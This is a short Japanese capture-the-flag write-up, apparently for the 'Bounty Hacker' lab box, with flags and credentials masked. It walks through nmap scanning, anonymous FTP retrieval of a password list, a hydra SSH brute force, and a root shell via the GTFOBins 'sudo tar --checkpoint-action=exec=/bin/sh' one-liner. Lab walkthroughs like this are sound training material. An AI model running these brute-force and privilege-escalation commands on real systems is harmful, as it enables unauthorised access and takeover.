一部を■で隠しています。
第一段階:内部侵入
nmapする
$ nmap -sC -sV $IP 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
なるほど、gobuster回しながらポート80を見てみよう。
ポート80
特に意味のあるページには見えない。
/images
でディレクトリリスティングが発生するが、特に何ができる訳でもない。
gobusterも特に気になるレポートはしてこない。
んー、別を見てみるか。
ftp
anonymousで入れるか見てみよう。
$ ftp $IP Name : anonymous 230 Login successful. ftp> ls locks.txt task.txt ftp> get task.txt ftp> get locks.txt
2つファイルがあるので取ってこよう。
ユーザー名とパスワードらしきものが得られたので、これを使ってsshログインを試す。
sshログイン試行
hydraを使って総当たりする。
$ hydra -l ■■■ -P locks.txt -o out.log -e ns $IP ssh [22][ssh] host: $IP login: ■■■ password: ■■■■■■■■■■■
ok. これでsshログインができ、侵入成功。
$ ls user.txt $ cat user.txt ■■■■■■■■■■■■■■
第二段階:権限昇格
とりあえずsuidとsudoを見てみると、sudoに気になる出力がある。
$ sudo -l User lin may run the following commands on bountyhacker: (root) /bin/tar
ほう。GTFOBinsで調べるとヒットする。
tar | GTFOBins
ワンライナーがありますね…
$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh tar: Removing leading `/' from member names # id uid=0(root) gid=0(root) groups=0(root) # ls /root root.txt # cat /root/root.txt ■■■■■■■■■■■■■
これでクリア。